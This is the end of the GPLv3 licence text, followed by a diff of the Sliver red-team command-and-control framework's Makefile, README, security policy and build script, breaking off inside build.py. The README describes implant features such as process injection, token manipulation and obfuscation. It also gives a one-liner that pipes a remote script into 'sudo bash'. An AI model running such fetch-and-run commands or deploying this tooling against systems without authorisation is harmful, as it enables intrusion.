6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.
+137 -67
View File
@@ -3,92 +3,162 @@
#
GO ?= go
ENV = CGO_ENABLED=0
TAGS = -tags netgo
LDFLAGS = -ldflags '-s -w'
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 18
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_VERSION = $(shell git rev-parse HEAD)
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
SED_INPLACE := sed -i
STATIC_TARGET := linux
UNAME_S := $(shell uname -s)
ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
UNAME_P := $(shell uname -p)
# If the target is Windows from Linux/Darwin, check for mingw
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
ifneq (,$(findstring cgosqlite,$(TAGS)))
ENV +=CGO_ENABLED=1
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# Programs required for generating protobuf/grpc files
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
ifeq ($(MAKECMDGOALS), pb)
K := $(foreach exec,$(PB_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
endif
# *** Darwin ***
ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
endif
ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
#
# Targets
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean version pb
GOOS=darwin $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server ./server
GOOS=darwin $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-client ./client
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean version pb
GOOS=linux $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-client ./client
linux: clean validate-go-version
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean version pb
GOOS=windows $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-client.exe ./client
#
# Static builds were we bundle everything together
#
.PHONY: static-macos
static-macos: clean version pb packr
packr
$(SED_INPLACE) '/$*.windows\/go\.zip/d' ./server/assets/a_assets-packr.go
$(SED_INPLACE) '/$*.linux\/go\.zip/d' ./server/assets/a_assets-packr.go
GOOS=darwin $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server ./server
.PHONY: static-windows
static-windows: clean version pb packr
packr
$(SED_INPLACE) '/$*.darwin\/go\.zip/d' ./server/assets/a_assets-packr.go
$(SED_INPLACE) '/$*.linux\/go\.zip/d' ./server/assets/a_assets-packr.go
GOOS=windows $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server.exe ./server
.PHONY: static-linux
static-linux: clean version pb packr
$(SED_INPLACE) '/$*.darwin\/go\.zip/d' ./server/assets/a_assets-packr.go
$(SED_INPLACE) '/$*.windows\/go\.zip/d' ./server/assets/a_assets-packr.go
GOOS=linux $(ENV) $(GO) build $(TAGS) $(LDFLAGS) -o sliver-server ./server
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: pb
pb:
go install ./vendor/github.com/golang/protobuf/protoc-gen-go
protoc -I protobuf/ protobuf/sliver/sliver.proto --go_out=protobuf/
protoc -I protobuf/ protobuf/client/client.proto --go_out=protobuf/
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
.PHONY: version
version:
printf "package version\n\nconst GitVersion = \"%s\"\n" $(GIT_VERSION) > ./client/version/version.go
printf "const GitDirty = \"%s\"\n" $(GIT_DIRTY) >> ./client/version/version.go
.PHONY: packr
packr:
cd ./server/
packr
cd ..
.PHONY: clean-version
clean-version:
printf "package version\n\nconst GitVersion = \"\"\n" > ./client/version/version.go
validate-go-version:
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
exit 0 ;\
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
exit 1; \
fi
.PHONY: clean-all
clean-all: clean clean-version
rm -f ./assets/darwin/go.zip
rm -f ./assets/windows/go.zip
rm -f ./assets/linux/go.zip
rm -f ./assets/*.zip
clean-all: clean
rm -rf ./server/assets/fs/darwin/amd64
rm -rf ./server/assets/fs/darwin/arm64
rm -rf ./server/assets/fs/windows/amd64
rm -rf ./server/assets/fs/linux/amd64
rm -f ./server/assets/fs/*.zip
.PHONY: clean
clean: clean-version
packr clean
rm -f ./protobuf/client/*.pb.go
rm -f ./protobuf/sliver/*.pb.go
rm -f sliver-client sliver-server *.exe
clean:
rm -f sliver-client sliver-server sliver-*.exe
+34 -22
View File
@@ -1,38 +1,50 @@
Sliver
======
![Sliver](/.github/images/sliver.jpeg)
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
Sliver is a general purpose cross-platform implant framework that supports C2 over Mutual-TLS, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
### Features
* Dynamic code generation
* Compile-time obfuscation
* Local and remote process injection
* Anti-anti-forensics
* Secure C2 over mTLS, HTTP(S), and DNS
* Windows process migration
* Windows user token manipulation
* Multiplayer-mode
* Procedurally generated C2 over HTTP
* Let's Encrypt integration
* Dynamic code generation
* Compile-time obfuscation
* Multiplayer-mode
* Staged and Stageless payloads
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
* Windows process migration, process injection, user token manipulation, etc.
* Let's Encrypt integration
* In-memory .NET assembly execution
* COFF/BOF in-memory loader
* TCP and named pipe pivots
* Much more!
### Getting Started
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage.
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
### Source Code
#### Linux One Liner
The source code repo contains the following directories:
`curl https://sliver.sh/install|sudo bash` and then run `sliver`
* `assets/` - Static assets that are embedded into the server binary, generated by `go-assets.sh`
* `client/` - Client code, the majority of this code is also used by the server
* `protobuf/` - Protobuf code
* `server/` - Server-side code
* `sliver/` - Implant code, rendered by the server at runtime
* `util/` - Utility functions that may be shared by the server and client
### Help!
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
### Compile From Source
Do a `git clone` of the Sliver repo into your local `$GOPATH/github.com/bishopfox/sliver` and then run the `build.py` script (requires Docker), or for details see the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+3 -3
View File
@@ -6,13 +6,13 @@ One of the main goals of the Sliver project is to provide a secure platform when
Anything in the `master` branch, without an open ticket.
| Criticality | Reward |
| Severity | Reward |
|---|---|
| Critical | 12 Year Whisky or Scotch |
| Critical | 12+ Year Whisky or Scotch |
| High | Good Beer |
| Medium | A PBR, Grain Belt, or Hamm's |
| Low | High Five |
### Reporting a Vulnerability
Please report high and/or critical vulnerabilities via email. [Contact](https://keybase.io/moloch), if no reponse within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilites can simply be filed as a normal bug/issue with the `security` tag.
Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
Binary file not shown.
+25 -2
View File
@@ -1,4 +1,22 @@
#!/usr/bin/env python
"""
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
"""
import os
import sys
import argparse
@@ -11,6 +29,8 @@ except NameError:
INFO = "\033[1m\033[36m[*]\033[0m "
WARN = "\033[1m\033[31m[!]\033[0m "
BOLD = "\033[1m"
NORM = "\033[0m"
def exec_cmd(cmd, ignore_status=False):
@@ -41,7 +61,10 @@ def docker_rm_all():
docker_rm_volumes()
def build():
exec_cmd("docker build -t sliver .")
status = exec_cmd("docker build -t sliver .")
if status == 0:
